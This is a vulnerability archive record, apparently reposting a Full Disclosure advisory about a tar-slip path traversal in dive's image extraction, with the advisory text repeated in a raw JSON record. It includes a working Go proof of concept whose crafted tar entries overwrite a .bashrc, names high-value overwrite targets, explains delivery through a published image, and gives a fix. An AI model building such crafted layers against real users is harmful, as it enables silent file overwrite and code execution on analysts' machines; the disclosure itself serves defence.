VULNARCHIVE

GCVE-1988-2026-0415

dive tar-slip in image file extraction

Description (en)

# dive tar-slip in image file extraction

**Author:** Khashayar Fereidani
**Disclosure Date:** 2026-09-24
**Advisory:** https://fereidani.com/dive-tar-slip-in-image-file-extraction
**Contact:** https://fereidani.com/contact

## Description

dive is a terminal UI for exploring Docker image layers, and inspecting images
pulled from public registries is its main use case. The filetree view has an
extract action (the default keybinding is `ctrl+e`,
`cmd/dive/cli/internal/ui/v1/key/config.go:97`) that writes the selected file
from the image layer into the working directory. The call chain is
`onFileTreeViewExtract` (`cmd/dive/cli/internal/ui/v1/app/controller.go:62`)
-> `engineResolver.Extract`
(`dive/image/docker/engine_resolver.go:56`) -> `ExtractFromImage`
(`dive/image/docker/image_archive.go:303`) -> `extractInner`
(`dive/image/docker/image_archive.go:337`):

```go
func extractInner(reader *tar.Reader, p string) error {
target := strings.TrimPrefix(p, "/")

for {
header, err := reader.Next()

if err == io.EOF {
break
}

if err != nil {
fmt.Println(err)
os.Exit(1)
}

name := header.Name

switch header.Typeflag {
case tar.TypeReg:
if strings.HasPrefix(name, target) {
err := os.MkdirAll(filepath.Dir(name), 0755)
if err != nil {
return err
}

out, err := os.Create(name)
if err != nil {
return err
}

_, err = io.Copy(out, reader)
if err != nil {
return err
}
}
default:
continue
}
}

return nil
}
```

`header.Name` comes from the layer being inspected, so the attacker fully
controls it. The only validation is `strings.HasPrefix(name, target)`, a
string prefix check rather than a path check: it offers no containment at all.
A name like `etc/motd-x/../../../.bashrc` passes the check for a selected
`etc/motd`, and `os.Create(name)` then resolves the raw name relative to the
directory dive was started in. There is no `filepath.Clean`, no rejection of
`..`, no containment root, no symlink check and no size cap.

The same string-prefix property lets an attacker prepare the path for the
escape in two steps. Because `filepath.Dir` cleans `..` segments away,
`os.MkdirAll` never creates the intermediate directory that a single escape
entry needs to walk through. But any earlier entry whose name still starts
with the selected path creates it: an entry named `etc/motd-x/keep` makes
`os.MkdirAll` create the directory `etc/motd-x`, and the next entry can then
climb through it with `..`. Both entries pass the prefix check, and the
attacker controls the order of entries in the layer.

Reaching `extractInner` with crafted bytes is straightforward. The engine
resolver saves the image with the Docker API (`ImageSave`,
`dive/image/docker/engine_resolver.go:131`), which streams the original layer
blobs as they were pushed to the registry, and dive even pulls the image
itself when it is not available locally
(`dive/image/docker/engine_resolver.go:121`). Nothing between the registry
and `extractInner` rewrites entry names.

## Reproduction

The loop above is self-contained, so the whole feature can be exercised
without a registry or the UI. The program below copies `extractInner`
verbatim from the current main branch, feeds it a crafted layer tar, and
selects `/etc/motd`, exactly what dive does when ctrl+e is pressed on that
file:

```go
package main

// extractInner copied verbatim from
// dive/image/docker/image_archive.go:337 (main, 2026-09-24).
import (
"archive/tar"
"bytes"
"fmt"
"io"
"os"
"path/filepath"
"strings"
)

func extractInner(reader *tar.Reader, p string) error {
target := strings.TrimPrefix(p, "/")
for {
header, err := reader.Next()
if err == io.EOF {
break
}
if err != nil {
fmt.Println(err)
os.Exit(1)
}
name := header.Name
switch header.Typeflag {
case tar.TypeReg:
if strings.HasPrefix(name, target) {
err := os.MkdirAll(filepath.Dir(name), 0755)
if err != nil {
return err
}
out, err := os.Create(name)
if err != nil {
return err
}
_, err = io.Copy(out, reader)
if err != nil {
return err
}
}
default:
continue
}
}
return nil
}

func addFile(tw *tar.Writer, name, body string) {
hdr := &tar.Header{Name: name, Mode: 0o644, Size: int64(len(body)),
Typeflag: tar.TypeReg}
_ = tw.WriteHeader(hdr)
_, _ = tw.Write([]byte(body))
}

func main() {
var layer bytes.Buffer
tw := tar.NewWriter(&layer)
addFile(tw, "etc/motd", "welcome to the totally safe image\n")
addFile(tw, "etc/motd-x/keep", "x\n")
addFile(tw, "etc/motd-x/../../../.bashrc", "echo pwned\n")
_ = tw.Close()

err := extractInner(tar.NewReader(&layer), "/etc/motd")
fmt.Println("extractInner returned:", err)
}
```

Run it from a directory that stands in for the analyst's project directory,
with a `.bashrc` one level above:

```sh
mkdir -p home/victim/project
echo "alias ll='ls -l'" > home/victim/.bashrc
cd home/victim/project && go run main.go
```

Observed result:

```text
extractInner returned: <nil>
```

```text
$ find home -type f | sort
home/victim/.bashrc          # was: alias ll='ls -l'
home/victim/project/etc/motd
home/victim/project/etc/motd-x/keep

$ cat home/victim/.bashrc
echo pwned
```

The selected file lands in the working directory as expected, and the escape
entry silently overwrites the `.bashrc` one level above it. `extractInner`
returns nil, so the UI reports a successful extract.

End to end, the same layer is delivered by publishing an image whose layer
blob contains the three entries above (any registry accepts the blob as-is),
and waiting for an analyst to run `dive` on the image and extract a file.

## Impact

Arbitrary file write with the analyst's privileges, at any path that is
reachable through `..` from the directory dive runs in, usually the home or
project directory. High-value targets include shell startup files such as
`~/.bashrc` and `~/.profile`, `~/.ssh/authorized_keys`, `.git/hooks` in the
current repository, and desktop autostart entries, which turn the write into
code execution at the next shell or login. The write is silent: extraction
succeeds and the extra entries leave no error behind.

The precondition is that the analyst selects a file in the crafted image and
presses the extract keybinding, which is why this is rated medium rather than
high. That action is exactly what the feature is for: an analyst who opens a
suspicious image to look at a credentials file or a config file has every
reason to extract it for a closer look, and the layer content is fully
attacker-controlled.

## Solution

Treat every entry name as hostile and extract through a containment root.
The check belongs on the cleaned, joined path, not on the raw string:

```go
dest := filepath.Join(destinationDir, filepath.Clean("/"+header.Name))
if dest != filepath.Join(destinationDir, target) {
continue // extraction is for the selected file only
}
```

Joining against `/`+name first makes `filepath.Clean` drop any leading `..`
or drive-letter tricks, and the equality check then reduces the write to the
one selected file inside `destinationDir`. Creating the file with
`os.OpenFile(dest, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o644)` also stops the
extract from overwriting existing files or following a symlink planted
earlier in the same layer. This is the standard guard for the tar-slip class,
the tar variant of Zip Slip, which every archive extractor that writes to
disk needs.

Until a fix lands, do not use the extract keybinding on images from unknown
sources, and if it must be used, run dive from an empty directory (or from
inside a container) so that `..` has nowhere interesting to climb to.

## Timeline

- 2026-09-24: Reported publicly as wagoodman/dive#722, found while scanning
  popular repositories with my static analyzer. The repository has seen no
  commits since 2025-12-15, so no private disclosure attempt seemed useful;
  dive 0.13.1 and the current main branch are affected.

## References

- [wagoodman/dive#722 - tar-slip in image layer file
extraction](https://github.com/wagoodman/dive/issues/722)
- [wagoodman/dive -
dive/image/docker/image_archive.go](https://github.com/wagoodman/dive/blob/main/dive/image/docker/image_archive.go)
- [Snyk - Zip Slip vulnerability
research](https://snyk.io/research/zip-slip-vulnerability)
- [CWE-22: Improper Limitation of a Pathname to a Restricted
Directory](https://cwe.mitre.org/data/definitions/22.html)
- [CWE-59: Improper Link Resolution Before File
Access](https://cwe.mitre.org/data/definitions/59.html)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

References

Raw JSON
{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "dive tar-slip in",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Khashayar Fereidani"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "# dive tar-slip in image file extraction\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-09-24\n**Advisory:** https://fereidani.com/dive-tar-slip-in-image-file-extraction\n**Contact:** https://fereidani.com/contact\n\n## Description\n\ndive is a terminal UI for exploring Docker image layers, and inspecting images\npulled from public registries is its main use case. The filetree view has an\nextract action (the default keybinding is `ctrl+e`,\n`cmd/dive/cli/internal/ui/v1/key/config.go:97`) that writes the selected file\nfrom the image layer into the working directory. The call chain is\n`onFileTreeViewExtract` (`cmd/dive/cli/internal/ui/v1/app/controller.go:62`)\n-> `engineResolver.Extract`\n(`dive/image/docker/engine_resolver.go:56`) -> `ExtractFromImage`\n(`dive/image/docker/image_archive.go:303`) -> `extractInner`\n(`dive/image/docker/image_archive.go:337`):\n\n```go\nfunc extractInner(reader *tar.Reader, p string) error {\ntarget := strings.TrimPrefix(p, \"/\")\n\nfor {\nheader, err := reader.Next()\n\nif err == io.EOF {\nbreak\n}\n\nif err != nil {\nfmt.Println(err)\nos.Exit(1)\n}\n\nname := header.Name\n\nswitch header.Typeflag {\ncase tar.TypeReg:\nif strings.HasPrefix(name, target) {\nerr := os.MkdirAll(filepath.Dir(name), 0755)\nif err != nil {\nreturn err\n}\n\nout, err := os.Create(name)\nif err != nil {\nreturn err\n}\n\n_, err = io.Copy(out, reader)\nif err != nil {\nreturn err\n}\n}\ndefault:\ncontinue\n}\n}\n\nreturn nil\n}\n```\n\n`header.Name` comes from the layer being inspected, so the attacker fully\ncontrols it. The only validation is `strings.HasPrefix(name, target)`, a\nstring prefix check rather than a path check: it offers no containment at all.\nA name like `etc/motd-x/../../../.bashrc` passes the check for a selected\n`etc/motd`, and `os.Create(name)` then resolves the raw name relative to the\ndirectory dive was started in. There is no `filepath.Clean`, no rejection of\n`..`, no containment root, no symlink check and no size cap.\n\nThe same string-prefix property lets an attacker prepare the path for the\nescape in two steps. Because `filepath.Dir` cleans `..` segments away,\n`os.MkdirAll` never creates the intermediate directory that a single escape\nentry needs to walk through. But any earlier entry whose name still starts\nwith the selected path creates it: an entry named `etc/motd-x/keep` makes\n`os.MkdirAll` create the directory `etc/motd-x`, and the next entry can then\nclimb through it with `..`. Both entries pass the prefix check, and the\nattacker controls the order of entries in the layer.\n\nReaching `extractInner` with crafted bytes is straightforward. The engine\nresolver saves the image with the Docker API (`ImageSave`,\n`dive/image/docker/engine_resolver.go:131`), which streams the original layer\nblobs as they were pushed to the registry, and dive even pulls the image\nitself when it is not available locally\n(`dive/image/docker/engine_resolver.go:121`). Nothing between the registry\nand `extractInner` rewrites entry names.\n\n## Reproduction\n\nThe loop above is self-contained, so the whole feature can be exercised\nwithout a registry or the UI. The program below copies `extractInner`\nverbatim from the current main branch, feeds it a crafted layer tar, and\nselects `/etc/motd`, exactly what dive does when ctrl+e is pressed on that\nfile:\n\n```go\npackage main\n\n// extractInner copied verbatim from\n// dive/image/docker/image_archive.go:337 (main, 2026-09-24).\nimport (\n\"archive/tar\"\n\"bytes\"\n\"fmt\"\n\"io\"\n\"os\"\n\"path/filepath\"\n\"strings\"\n)\n\nfunc extractInner(reader *tar.Reader, p string) error {\ntarget := strings.TrimPrefix(p, \"/\")\nfor {\nheader, err := reader.Next()\nif err == io.EOF {\nbreak\n}\nif err != nil {\nfmt.Println(err)\nos.Exit(1)\n}\nname := header.Name\nswitch header.Typeflag {\ncase tar.TypeReg:\nif strings.HasPrefix(name, target) {\nerr := os.MkdirAll(filepath.Dir(name), 0755)\nif err != nil {\nreturn err\n}\nout, err := os.Create(name)\nif err != nil {\nreturn err\n}\n_, err = io.Copy(out, reader)\nif err != nil {\nreturn err\n}\n}\ndefault:\ncontinue\n}\n}\nreturn nil\n}\n\nfunc addFile(tw *tar.Writer, name, body string) {\nhdr := &tar.Header{Name: name, Mode: 0o644, Size: int64(len(body)),\nTypeflag: tar.TypeReg}\n_ = tw.WriteHeader(hdr)\n_, _ = tw.Write([]byte(body))\n}\n\nfunc main() {\nvar layer bytes.Buffer\ntw := tar.NewWriter(&layer)\naddFile(tw, \"etc/motd\", \"welcome to the totally safe image\\n\")\naddFile(tw, \"etc/motd-x/keep\", \"x\\n\")\naddFile(tw, \"etc/motd-x/../../../.bashrc\", \"echo pwned\\n\")\n_ = tw.Close()\n\nerr := extractInner(tar.NewReader(&layer), \"/etc/motd\")\nfmt.Println(\"extractInner returned:\", err)\n}\n```\n\nRun it from a directory that stands in for the analyst's project directory,\nwith a `.bashrc` one level above:\n\n```sh\nmkdir -p home/victim/project\necho \"alias ll='ls -l'\" > home/victim/.bashrc\ncd home/victim/project && go run main.go\n```\n\nObserved result:\n\n```text\nextractInner returned: <nil>\n```\n\n```text\n$ find home -type f | sort\nhome/victim/.bashrc          # was: alias ll='ls -l'\nhome/victim/project/etc/motd\nhome/victim/project/etc/motd-x/keep\n\n$ cat home/victim/.bashrc\necho pwned\n```\n\nThe selected file lands in the working directory as expected, and the escape\nentry silently overwrites the `.bashrc` one level above it. `extractInner`\nreturns nil, so the UI reports a successful extract.\n\nEnd to end, the same layer is delivered by publishing an image whose layer\nblob contains the three entries above (any registry accepts the blob as-is),\nand waiting for an analyst to run `dive` on the image and extract a file.\n\n## Impact\n\nArbitrary file write with the analyst's privileges, at any path that is\nreachable through `..` from the directory dive runs in, usually the home or\nproject directory. High-value targets include shell startup files such as\n`~/.bashrc` and `~/.profile`, `~/.ssh/authorized_keys`, `.git/hooks` in the\ncurrent repository, and desktop autostart entries, which turn the write into\ncode execution at the next shell or login. The write is silent: extraction\nsucceeds and the extra entries leave no error behind.\n\nThe precondition is that the analyst selects a file in the crafted image and\npresses the extract keybinding, which is why this is rated medium rather than\nhigh. That action is exactly what the feature is for: an analyst who opens a\nsuspicious image to look at a credentials file or a config file has every\nreason to extract it for a closer look, and the layer content is fully\nattacker-controlled.\n\n## Solution\n\nTreat every entry name as hostile and extract through a containment root.\nThe check belongs on the cleaned, joined path, not on the raw string:\n\n```go\ndest := filepath.Join(destinationDir, filepath.Clean(\"/\"+header.Name))\nif dest != filepath.Join(destinationDir, target) {\ncontinue // extraction is for the selected file only\n}\n```\n\nJoining against `/`+name first makes `filepath.Clean` drop any leading `..`\nor drive-letter tricks, and the equality check then reduces the write to the\none selected file inside `destinationDir`. Creating the file with\n`os.OpenFile(dest, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o644)` also stops the\nextract from overwriting existing files or following a symlink planted\nearlier in the same layer. This is the standard guard for the tar-slip class,\nthe tar variant of Zip Slip, which every archive extractor that writes to\ndisk needs.\n\nUntil a fix lands, do not use the extract keybinding on images from unknown\nsources, and if it must be used, run dive from an empty directory (or from\ninside a container) so that `..` has nowhere interesting to climb to.\n\n## Timeline\n\n- 2026-09-24: Reported publicly as wagoodman/dive#722, found while scanning\n  popular repositories with my static analyzer. The repository has seen no\n  commits since 2025-12-15, so no private disclosure attempt seemed useful;\n  dive 0.13.1 and the current main branch are affected.\n\n## References\n\n- [wagoodman/dive#722 - tar-slip in image layer file\nextraction](https://github.com/wagoodman/dive/issues/722)\n- [wagoodman/dive -\ndive/image/docker/image_archive.go](https://github.com/wagoodman/dive/blob/main/dive/image/docker/image_archive.go)\n- [Snyk - Zip Slip vulnerability\nresearch](https://snyk.io/research/zip-slip-vulnerability)\n- [CWE-22: Improper Limitation of a Pathname to a Restricted\nDirectory](https://cwe.mitre.org/data/definitions/22.html)\n- [CWE-59: Improper Link Resolution Before File\nAccess](https://cwe.mitre.org/data/definitions/59.html)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-59",
              "description": "CWE-59",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-02T04:57:32Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/81"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/81"
        },
        {
          "url": "https://cwe.mitre.org/data/definitions/22.html"
        },
        {
          "url": "https://cwe.mitre.org/data/definitions/59.html"
        },
        {
          "url": "https://fereidani.com/contact"
        },
        {
          "url": "https://fereidani.com/dive-tar-slip-in-image-file-extraction"
        },
        {
          "url": "https://github.com/wagoodman/dive/blob/main/dive/image/docker/image_archive.go"
        },
        {
          "url": "https://github.com/wagoodman/dive/issues/722"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://snyk.io/research/zip-slip-vulnerability"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/81"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "dive tar-slip in image file extraction",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0415",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/81",
            "automated": true,
            "contentSha256": "6abfa560810db09d89cd76e3a010e20b4d8e8d790daac9f2480c66bfd9025dfb",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/81",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-24T02:58:19Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-10-02T04:57:32Z",
    "dateUpdated": "2026-10-02T04:57:32Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0415"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}